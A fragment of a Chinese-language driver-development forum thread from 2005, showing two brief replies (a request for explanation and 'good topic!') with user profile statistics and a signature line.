驱动小牛
驱动小牛
  • 注册日期2004-03-09
  • 最后登录2006-12-21
  • 粉丝0
  • 关注0
  • 积分1000分
  • 威望138点
  • 贡献值17点
  • 好评度117点
  • 原创分0分
  • 专家分0分
15楼#
发布于:2005-05-05 14:59
顶死,看不大懂,能不能说明一下
刚则折,柔恒存,柔羽胜刚强! 万法自然,无根无极!--太极
powerbit
驱动牛犊
驱动牛犊
  • 注册日期2005-01-12
  • 最后登录2005-06-01
  • 粉丝0
  • 关注0
  • 积分0分
  • 威望0点
  • 贡献值0点
  • 好评度0点
  • 原创分0分
  • 专家分0分
16楼#
发布于:2005-05-23 17:55
good topic!
飞翔的感觉
游客

返回顶部